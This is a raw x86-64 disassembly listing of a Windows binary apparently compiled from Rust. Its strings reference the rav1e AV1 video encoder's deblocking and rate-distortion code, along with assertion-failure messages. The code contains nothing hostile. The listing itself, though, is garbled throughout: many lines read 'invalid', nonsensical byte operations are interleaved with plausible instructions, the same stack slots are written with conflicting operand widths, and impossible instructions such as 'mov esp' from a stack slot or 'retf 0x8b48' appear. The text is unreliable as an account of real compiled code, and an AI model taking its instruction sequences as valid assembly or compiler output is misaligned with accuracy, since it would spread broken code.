mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x138]
mov qword [rsp + 0x28], rax
sub byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov rcx, qword [rsp + 0x90]
mov rdx, r12
xor r8d, r8d
mov r9, qword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
add al, ch
or byte [0x14158c53a], al
cld
jmp 0x1400bc4c9
shr rbp, 2
mov rax, qword [rsp + 0xc8]
add byte [rax], al
cmp rax, rbp
cmovb rbp, rax
add rbp, rsi
mov rsi, qword [rsp + 0x80]
mov ecx, esi
shr rbp, cl
shl rbp, cl
lea r12, [rsp + 0x60]
mov rcx, r12
mov rdx, rdi
mov r8, rbp
mov r9, rdi
call fcn.140033724
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
and al, 0x70
inc rcx
mov qword [rsp + 0x110], rcx
sub rax, 1
jb 0x1400bc73a
xchg ebp, eax
add dword [rax], eax
invalid
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x30], rax
and al, 0x30
lea rax, [rsp + 0x340]
add byte [rax], al
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x90]
xor edx, edx
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0xa8]
call fcn.1400bcd7b
mov rcx, r12
mov rdx, qword [rsp + 0x120]
xchg esp, eax
and al, 0x20
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x18
add dword [rax], eax
add byte [rcx - 0x77], cl
shr eax, 1
div dword [rax - 9]
dec dword [rax - 0x75]
je 0x1400bc655
invalid
mov r14, qword [rsp + 0x68]
mov esi, dword [rsp + 0x68]
mov rax, qword [rsp + 0x70]
inc rax
mov qword [rsp + 0x130], rax
sub r14, 1
jb 0x1400bc710
add byte [rax], al
add byte [rax], al
mov rbp, qword [rsp + 0x80]
mov qword [rsp + 0x48], rbp
mov r15, qword [rsp + 0xb0]
mov edi, dword [rsp + 0xb0]
mov qword [rsp + 0x40], r15
mov rdi, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xa0]
movabs al, byte [0x38247c8948000000]
mov rbx, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
pop rsp
and al, 0x30
lea rax, [rsp + 0x138]
lea eax, [rsp + 0x138]
test byte [rax + rdi], ah
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x28], rax
mov r13, qword [rsp + 0xb8]
add byte [rax], al
add byte [rcx + rcx*4 + 0x6c], cl
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x20], ebp
mov rcx, qword [rsp + 0x90]
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rsi
mov r8, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa8]
mov esp, dword [rsp + 0xa8]
test al, 0
add byte [rax], al
add byte [rbp - 0x77], cl
loope case.0x1400422c1.434
jle case.0x140040456.396
add eax, dword [rax]
add byte [rax - 0x77], cl
mov dword [rsp + 0x48], ebp
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x30], ebx
pop rsp
and al, 0x30
lea rax, [rsp + 0x340]
add eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x90]
mov rdx, rsi
mov r8, qword [rsp + 0x98]
cwde
add byte [rax], al
add byte [rbp - 0x77], cl
loope 0x1400bc6e7
js 0x1400bc707
add byte [rax], al
add rsi, qword [rsp + 0x130]
jmp 0x1400bc647
mov rax, qword [rsp + 0x110]
add qword [rsp + 0x98], rax
lea r12, [rsp + 0x60]
mov rsi, qword [rsp + 0x80]
mov esi, dword [rsp + 0x80]
mov rax, qword [rsp + 0x128]
test byte [rax + rbp], ah
add dword [rax], eax
add cl, ch
invalid
invalid
invalid
invalid
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0x3f
and al, 0x68
and al, 0x68
invalid
add byte [rax], al
add dh, al
and al, 0x70
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0xf0
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xe8
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 8
add dword [rax], eax
add byte [rbx + rcx*4 - 0x54], cl
mov ebp, dword [rsp + 0x100]
mov rdi, qword [rsp + 0x88]
mov rcx, r12
call fcn.140081956
test rax, rax
je 0x1400bc7c3
mov r9, rdx
lea rcx, [rdx - 1]
cmp rcx, 0x41
jae 0x1400bc984
in eax, dx
add dword [rax], eax
invalid
cmp r9, 0x41
jae 0x1400bc98d
mov rax, qword [rsp + r9*8 + 0x130]
add qword [rsp + r9*8 + 0x138], rax
add byte [rax], al
mov rax, qword [rsp + r9*8 + 0x338]
add qword [rsp + r9*8 + 0x340], rax
add eax, dword [rax]
add bl, ch
invalid
test rdi, rdi
je 0x1400bc851
invalid
and qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0x3f
mov byte [rsp + 0x70], 0
mov ecx, 0x3e7
mov rdi, rcx
mov rcx, r12
call fcn.140081956
test rax, rax
je 0x1400bc83c
mov rcx, rdx
cmp rdi, 0x3e7
je 0x1400bc7e5
cmp rdi, 0x41
jae 0x1400bc9a1
invalid
xchg esi, eax
add dword [rax], eax
invalid
cmp rcx, 0x40
ja 0x1400bc9b5
mov rax, qword [rsp + rdi*8 + 0x340]
add rax, qword [rsp + rdi*8 + 0x138]
test ah, bh
cmp byte [rcx], al
add byte [rax], al
mov rdx, qword [rsp + rcx*8 + 0x340]
add rdx, qword [rsp + rcx*8 + 0x138]
add dword [rax], eax
add byte [rax + 0x39], cl
sar byte [rsi - 0x52], 1
jmp 0x1400bc7e5
mov rax, qword [rsp + 0xc0]
mov byte [rsp + rax + 0x5c], dil
mov rdi, rax
jmp 0x1400bc3a6
sti
invalid
invalid
and qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0x3f
and al, 0x68
push 0x3f
mov byte [rsp + 0x70], 0
mov eax, 0x3e7
mov ecx, 0x3e7
mov rbx, rcx
mov r13, rax
mov ebp, eax
mov rcx, r12
call fcn.140081956
test rax, rax
invalid
je 0x1400bc8f4
mov rcx, rdx
mov rax, rdx
mov eax, edx
cmp r13, 0x3e7
je 0x1400bc8bd
cmp r13, 0x41
jae 0x1400bc9db
cmp rcx, 0x41
jae 0x1400bc9ef
mov rdx, qword [rsp + r13*8 + 0x138]
mov rax, r13
cmp rdx, qword [rsp + rcx*8 + 0x138]
cmp edx, dword [rsp + rcx*8 + 0x138]
add byte [rsi + 3], bh
mov rax, rcx
cmp rbx, 0x3e7
je 0x1400bc86f
cmp rbx, 0x41
jae case.0x140041933.399
cmp rcx, 0x41
jae 0x1400bc9d2
mov rdx, qword [rsp + rbx*8 + 0x340]
mov r13, rax
cmp rdx, qword [rsp + rcx*8 + 0x340]
cmp edx, dword [rsp + rcx*8 + 0x340]
jle 0x1400bc875
jmp 0x1400bc86f
mov rdi, qword [rsp + 0xc0]
jmp 0x1400bc3a6
mov byte [rsp + 0x5c], r13b
mov byte [rsp + 0x5d], bl
and al, 0x5d
mov eax, dword [rsp + 0x5c]
jmp 0x1400bc970
invalid
add rsp, 0x548
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp case.0x140041933.398
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
mov rcx, r9
call fcn.1401c6eb0
movsd dword [rdi], dword [rsi]
adc byte [rax], al
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp case.0x140041933.398
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
add byte [r8], al
add byte [rax - 0x77], cl
mov rcx, rbx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp case.0x140041933.398
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
add byte [rcx + rcx*4 - 0x17], cl
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x41
call fcn.1401c6eb0
adc byte [rax], al
lea rcx, str.assertion_failed:_xdec___1__ydec___1xY__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x28
call fcn.1401c6f30
lea rcx, str.assertion_failed:_ILog::ilog_input.planes_0_.plane_cfg.width___n________ILog::ilog_input.planes_0_.plane_cfg.height____35
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x79
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
add eax, 0x189d4a
jmp 0x1400bca0e
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
ret
out 0, eax
add byte [rax], al
mov rax, qword [rsp + 0x118]
mov r8, qword [rsp + 0x108]
lea rcx, [0x14028c044]
movsxd rdx, dword [rcx + rdi*4]
invalid
adc al, 0xb9
add rdx, rcx
jmp rdx
invalid
invalid
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
lea edx, [rsp + 0x68]
xor r9d, r9d
call fcn.1400bd0b6
add al, 0
add cl, ch
invalid
invalid
invalid
invalid
add al, 0
add cl, ch
invalid
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
xor r9d, r9d
call fcn.1400bdbd7
sldt word [rax]
sldt word [rax]
jmp 0x1400bcad5
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
xor r9d, r9d
call fcn.1400be40c
jmp 0x1400bcad5
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
xor r9d, r9d
call fcn.1400bd54b
jmp 0x1400bcad5
lea rcx, [0x140241cf6]
lea r8, [0x140241be8]
sbb byte [rax], al
sbb byte [rax], al
mov edx, 0x43
call fcn.1401c6f30
lea rcx, [0x140241d39]
lea r8, [0x140241be8]
mov edx, 0x44
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
lea eax, [0x140245f90]
mov edx, 0x28
call fcn.1401c6f30
int3
mov rdx, qword [rsp + 0x120]
mov cl, byte [r13 + 0x1a]
mov r8, r15
call fcn.140086baf
jmp 0x1400bcdf8
mov rbp, r14
mov ecx, r15d
shr rbp, cl
mov ecx, eax
call fcn.140086bfc
dec rax
test rax, rbp
je 0x1400bce24
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
mov r15, qword [rsi]
mov rcx, r12
mov rdx, rbx
mov r8, r14
mov r9, r15
call fcn.14008c88e
movzx ecx, byte [r13 + 0x17]
dec rcx
dec ecx
test rcx, r14
int1
sete byte [rsp + 0x28]
mov byte [rsp + 0x20], 1
mov rcx, r13
mov rdx, rax
mov r8, r15
mov r9, rdi
call fcn.140086c0e
mov al, 0x9d
cld
dec dword [rax - 0x7b]
test rax, rax
je 0x1400bce10
mov rdi, rax
mov r8, qword [r15 + 0x20]
mov r9, qword [r15 + 0x28]
sub byte [rax - 0x77], cl
invalid
mov rdx, r14
call fcn.14007df20
adc ah, bh
dec dword [rax - 0x77]
mov ecx, edi
shr rcx, 1
sub rdx, rcx
retf 0x8b48
or byte [rax - 0x7b], r9b
leave
je 0x1400bcef0
test rax, rax
js 0x1400bd06d
cmp rax, qword [rsi + 0x20]
ja 0x1400bd06d
test rdx, rdx
js case.0x1400bcc99.9
cmp rdx, qword [rsi + 0x28]
ja case.0x1400bcc99.9
mov r8, qword [r15]
imul r8, rdx
add rcx, rax
add rcx, r8
mov r8, qword [rsi + 0x10]
add r8, rax
mov r9, qword [rsi + 0x18]
add r9, rdx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x58], 4
mov qword [rsp + 0x60], rdi
jmp 0x1400bcf08
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x40], xmm0
and qword [rsp + 0x60], 0
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x38
mov r8, qword [rsp + 0x100]
mov rcx, qword [r8]
mov r9, qword [r8 + 8]
test r9, r9
je 0x1400bcf87
test rax, rax
js 0x1400bd06d
cmp rax, qword [r8 + 0x20]
ja 0x1400bd06d
test rdx, rdx
js case.0x1400bcc99.9
cmp rdx, qword [r8 + 0x28]
ja case.0x1400bcc99.9
mov r10, qword [rcx]
imul r10, rdx
add r9, rax
add r9, r10
mov r10, qword [r8 + 0x10]
add r10, rax
add rdx, qword [r8 + 0x18]
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], r10
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x88], 4
mov qword [rsp + 0x90], rdi
jmp 0x1400bcfa5
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x70], xmm0
and qword [rsp + 0x90], 0
and al, 0x90
add byte [rax], al
add byte [rax], al
and al, 0x90
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x68], rcx
add rdi, 0xfffffffffffffffc
ror rdi, 1
cmp rdi, 5
ja case.0x1400bcfd4.3
mov rax, qword [rsp + 0x118]
mov r8, qword [rsp + 0x108]
lea rcx, [0x14028c05c]
invalid
invalid
sbb al, 0
movsxd rdx, dword [rcx + rdi*4]
add rdx, rcx
add edx, ecx
add edx, ecx
jmp rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
and byte [rax - 0x73], cl
and al, 0x38
lea rdx, [rsp + 0x68]
mov r9b, 1
call fcn.1400bd0b6
jmp 0x1400bce10
invalid
invalid
invalid
invalid
invalid
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
and byte [rax - 0x73], cl
and al, 0x38
lea rdx, [rsp + 0x68]
mov r9b, 1
call fcn.1400bdbd7
jmp 0x1400bce10
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
and byte [rax - 0x73], cl
and al, 0x38
lea rdx, [rsp + 0x68]
mov r9b, 1
call fcn.1400be40c
jmp 0x1400bce10
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x68]
mov r9b, 1
call fcn.1400bd54b
jmp 0x1400bce10
sbb byte [rax], al
mov edx, 0x23
call fcn.1401c6f30
lea rcx, [0x140241cf6]
lea r8, [0x140241be8]
mov edx, 0x43
call fcn.1401c6f30
lea rcx, [0x140241d39]
lea r8, [0x140241be8]
mov edx, 0x44
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x28
call fcn.1401c6f30
int3
mov rdx, qword [rsi + 8]
imul rcx, rbx, 0x70
jo 0x1400c4668
add ecx, edx
imul r8, r8, 0x70
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp sub.VCRUNTIME140.dll_memcpy
adc byte [rax], al
invalid
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
cmp rbx, rax
ja 0x1400c48a9
mov cl, 0xff
add cl, 0xfd
cmp cl, 0xfe
setb al
add rsp, 0x28
invalid
sub byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r14
pop r15
pop rdi
ret
cmp r14, 2
je 0x1400c4e7e
mov bl, byte [r14 + rax]
inc r14
mov byte [rax + rdi - 0x25], 0x74
invalid
je case.0x140041c42.414
mov byte [rsp + 0x56], r11b
mov word [rsp + 0x5c], r10w
mov qword [rsp + 0x80], r9
mov qword [rsp + 0x88], r8
mov dword [rsp + 0x88], eax
and al, 0x88
add byte [rax], al
add byte [rsi - 0x77], ah
push rsp
and al, 0x5e
mov qword [rsp + 0x90], rcx
add byte [rbx + 0x2a824a4], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc3
lea ecx, [rax - 1]
cmp ecx, 3
jae 0x1400c4d2c
add dword [rbx + rax], 0
add byte [rax], al
invalid
mov word [rsp + 0x58], r13w
mov word [rsp + 0x5a], bp
mov qword [rsp + 0x78], rdi
mov ecx, r12d
mov edx, ebx
call fcn.1400c4f4b
cmp al, 0x16
je 0x1400c4f06
invalid
mov r13d, eax
mov qword [rsp + 0x70], rsi
mov dword [rsp + 0x70], esi
mov ecx, r12d
call fcn.1400c502f
invalid
add eax, 0x45660000
xorps xmm2, xmm2
xorpd xmm7, xmm7
test al, al
je 0x1400c4adc
mov rbp, qword [rsp + 0x60]
cmp byte [rbp + 0x1280], 0
add byte [rax], al
mov rsi, qword [rsp + 0x538]
mov ah, 0x24
cmp byte [0x14f544a7d], al
mov spl, 0x24
and al, 0x30
add eax, 0x89480000
add byte [rax], al
mov rcx, rsi
int1
call fcn.1400e2e9f
add dword [rax], eax
mov edi, eax
invalid
mov al, byte [rsp + 0x540]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], bl
and al, 0x20
and byte [rax - 0x77], cl
jmp 0x18cfed3ec
mov eax, dword [rsp + 0x548]
mov r9, qword [rsp + 0x550]
add al, ch
in eax, dx
add eax, 0x89480000
int1
call fcn.1400e2e9f
invalid
jrcxz 0x1400c4ac0
add byte [rcx], ch
clc
cvtsi2sd xmm1, rax
cvtpi2ps xmm1, mm0
sub cl, al
mulsd xmm1, xmm9
xorps xmm2, xmm2
movapd xmm0, xmm6
invalid
call sub.api_ms_win_crt_math_l1_1_0.dll_fma
adc dword [rbx], ebx
sbb edx, dword [rax]
add byte [rsi + 0xf], ah
sub al, bh
mov ecx, r13d
call fcn.1400c2707
invalid
dec dword [rax - 0x77]
invalid
mov ecx, r13d
call fcn.1400c2719
mov r8, qword [rsp + 0x548]
add eax, 0x8d490000
add byte [rax], al
lea rcx, [r8 + rbp]
sub byte [rax - 0x75], cl
mov edx, dword [rsp + 0x550]
xchg esp, eax
and al, 0x50
add eax, 0x1480000
add byte [rax + 1], cl
ror byte [rcx + rcx*4 - 0x7c], 1
and al, 0xb0
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0xb8], rdx
mov eax, 0x48000000
add byte [rax], al
mov qword [rsp + 0xc0], rcx
rol byte [rax], 0
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xc8
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
mov dword [rsp + 0xd0], eax
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xd8], rax
fadd dword [rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0xe0], rcx
loopne 0x1400c4b3c
add byte [rax], al
mov qword [rsp + 0xe8], rax
call 0x1880c4b47
add byte [rax], al
add byte [rax - 0x73], cl
lea rsi, [rsp + 0x378]
lea esi, [rsp + 0x378]
js case.0x1400452cb.319
add eax, dword [rax]
add byte [rax - 0x77], cl
mov rcx, rsi
mov ecx, esi
lea rdx, [rsp + 0xb0]
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rcx - 0x77], al
fsubr st(0)
sub al, 0xf0
cli
invalid
mov ecx, 9
lea rdi, [rsp + 0x128]
add dword [rax], eax
add bl, dh
rep movsq qword [rdi], qword [rsi]
movsq qword [rdi], qword [rsi]
and qword [rsp + 0x120], 0
and dword [rsp + 0x120], 0
movsb byte [rdi], byte [rsi]
and al, 0x20
and byte [rcx], al
add dword [rax], eax
add byte [rax], al
shr rbp, 1
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0x120]
xchg esp, eax
and al, 0x20
and byte [rcx], al
add byte [rax], al
call fcn.14007c5d0
cmp qword [rsp + 0x98], 0
je 0x1400c4d05
mov rsi, qword [rsp + 0xa0]
lea rax, [rsi + rbp]
add al, 0x2e
cmp rax, qword [r15 + 0x2e8]
xchg eax, ebp
add al, byte [rax]
add byte [rdi], cl
sub dword [rcx], 1
add byte [rax], al
mov rdi, qword [rsp + 0xa8]
lea rax, [rdi + rbp]
cmp rax, qword [r15 + 0x2f0]
jae 0x1400c4ce3
invalid
mov al, byte [rsp + 0x568]
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x560]
mov byte [rsp + 0x38], al
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x20], r13b
insb byte [rdi], dx
and al, 0x20
lea rcx, [rsp + 0xf0]
mov word [rax + rsi*8], fs
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x68]
push rsp
and al, 0x68
mov r8, r15
mov r9, qword [rsp + 0x60]
call fcn.1400c53fd
addsd xmm10, qword [rsp + 0x100]
addps xmm2, xmmword [rsp + 0x100]
cmp byte [rsp + 0x57], 0
jl 0x1400c4c43
push rdi
invalid
je case.0x140056e1a.254
ucomisd xmm10, xmm8
ja 0x1400c4ce3
add byte [rax], al
invalid
mov r12, r15
mov ecx, r13d
mov ecx, ebp
call fcn.1400c502f
add eax, dword [rax]
invalid
test al, al
je 0x1400c4c7b
mov ecx, r13d
call fcn.1400c470d
test al, al
je 0x1400c4c7b
mov rcx, qword [rsp + 0x60]
cmp byte [rcx + 0x1280], 0
mov rdx, qword [rsp + 0x538]
cmove rdx, qword [rsp + 0x530]
mov byte [rsp + 0x28], r13b
mov byte [rsp + 0x20], 0
add byte [rcx - 0x77], cl
mov eax, esi
mov r9, rdi
call fcn.1400c50a5
lea r15, [rsp + 0xf0]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], rdi
cmp byte [rax - 0x77], cl
je 0x1400c4cb5
xor byte [rax + rcx*4 + 0x6c], al
and al, 0x28
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x20], rax
and al, 0x20
and qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0x68]
mov rdx, r12
mov r8, qword [rsp + 0x60]
mov r9, qword [rsp + 0x530]
mov word [rax + rsi], fs
add eax, 0x27e80000
loop 0x1400c4cc4
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x1e8]
add byte [rax], al
mov rdx, r15
mov edx, edi
cli
mov r15, r12
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e3266
jmp 0x1400c4b7d
mov rsi, qword [rsp + 0x70]
mov r12b, byte [rsp + 0x540]
add eax, 0x8b480000
jl 0x1400c4d18
js 0x1400c4d05
mov bh, 0x6c
and al, 0x5a
movzx r13d, word [rsp + 0x58]
movzx ebp, word [rsp + 0x58]
and al, 0x58
jmp 0x1400c4dfa
add byte [rax], al
invalid
addsd xmm7, xmm10
mov rsi, qword [rsp + 0x70]
mov r12b, byte [rsp + 0x540]
add eax, 0x8b480000
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rsp + 0x78]
movzx ebp, word [rsp + 0x5a]
movzx r13d, word [rsp + 0x58]
jmp case.0x140079404.152
add byte [rax], al
test eax, eax
jne case.0x1400c4f5c.58
mov ecx, r12d
mov dl, 0xc
call fcn.1400c4818
cli
invalid
inc dword [rax + rax*8 + 0x1ec840f]
test al, al
ror byte [rdi], 0x84
test ah, ch
in al, dx
add dword [rax], eax
invalid
mov al, byte [rsp + 0x568]
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x560]
test byte [rax + riz*2], ah
add eax, 0x44880000
add byte [rax], al
mov byte [rsp + 0x38], al
and al, 0x38
mov rax, qword [rsp + 0x550]
add eax, 0x89480000
and al, 0x30
mov rax, qword [rsp + 0x548]
and al, 0x48
add eax, 0x89480000
add byte [rax], al
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
sub byte [rax + rcx*4 + 0x64], al
mov byte [rsp + 0x20], r12b
and byte [rax - 0x73], cl
lea ecx, [rsp + 0x120]
mov rdx, qword [rsp + 0x68]
and al, 0x68
mov r8, r15
mov eax, edi
clc
mov r9, qword [rsp + 0x60]
and al, 0x60
call fcn.1400c53fd
invalid
add byte [rax], al
movsd xmm7, qword [rsp + 0x130]
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x1e8]
lea rdx, [rsp + 0x120]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea eax, [0x1402407e8]
mov edx, 0xace80017
invalid
add al, ch
call fcn.1400e3266
in al, 1
invalid
ucomisd xmm8, xmm7
jbe 0x1400c4dfa
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x1e8]
xchg esp, eax
and al, 0xe8
add dword [rax], eax
add al, ch
invalid
loopne 0x1400c4dd6
add dword [rax], eax
add byte [rcx - 0x48], al
enter 0, 0
add byte [rax], al
lea rcx, [rsp + 0x2b0]
lea ecx, [rsp + 0x2b0]
mov word [rax + rsi*4], fs
add al, byte [rax]
add byte [rax], al
lea rdx, [rsp + 0x120]
add al, ch
mov al, 0x17
invalid
adc byte [rax], al
movapd xmm8, xmm7
movaps xmm8, xmm7
sub bh, al
mov byte [rsp + 0x55], bl
mov rcx, qword [rsp + 0x60]
lea rdx, [rsp + 0x3c0]
add byte [rax], al
call fcn.140074eee
dec dword [rax - 0x75]
test byte [rax + rsi], ah
add eax, 0xb70f0000
add byte [rax], al
movzx edx, word [rsp + 0x5e]
mov bh, 0x54
push rsp
and al, 0x5e
mov word [rax + 0x24], dx
mov word [rax + 0x26], bp
mov rcx, qword [rsp + 0x90]
nop
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x18], rcx
sbb byte [rax + 0x39], cl
js 0x1400c4e41
jb 0x1400c4e37
mov qword [rax + 0x10], rdi
mov rax, qword [rsp + 0x538]
movzx r10d, word [rsp + 0x5c]
mov word [rax + 0x24], r10w
mov word [rax + 0x26], r13w
mov dword [rax + 0x26], r13d
mov r9, qword [rsp + 0x80]
mov word [rax + rax*4], fs
add byte [rax], 0
add byte [rcx + rcx*4 + 0x48], cl
sbb byte [rbx + rcx*4 - 0x7c], cl
mov eax, dword [rsp + 0x88]
cmp qword [rax + 0x10], r8
mov r11b, byte [rsp + 0x56]
jb case.0x1400831b0.60
mov qword [rax + 0x10], r8
lea rax, [0x140247750]
jmp case.0x140041c42.414
xorpd xmm0, xmm0
ucomisd xmm8, xmm0
jb 0x1400c4eee
lea rcx, [rsi + 8]
lea rdx, [rsp + 0x2b0]
mov r8d, 0xc8
add al, ch
add dword [rdi], edx
adc byte [rax], al
movsd qword [rsi], xmm8
movups xmmword [rsi], xmm0
mov al, byte [rsp + 0x55]
mov byte [rsi + 0xd0], al
add byte [rax], al
add byte [rax], al
movaps xmm6, xmmword [rsp + 0x470]
movaps xmm7, xmmword [rsp + 0x480]
movaps xmm8, xmmword [rsp + 0x490]
movaps xmm9, xmmword [rsp + 0x4a0]
mov word [rax + riz*4], fs
add al, 0
invalid
movaps xmm10, xmmword [rsp + 0x4b0]
add rsp, 0x4c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.assertion_failed:_best_rd___0_f64
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov edx, 0x22
add byte [rbp + rcx*4 + 5], cl
jl 0x1400c4eb7
invalid
call fcn.1401c6f30
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov qword [rsp + 0x20], rax
and al, 0x20
invalid
mov eax, 0x89480017
and al, 0x20
invalid
lea rcx, str.called__Result::unwrap____on_an__Err__value
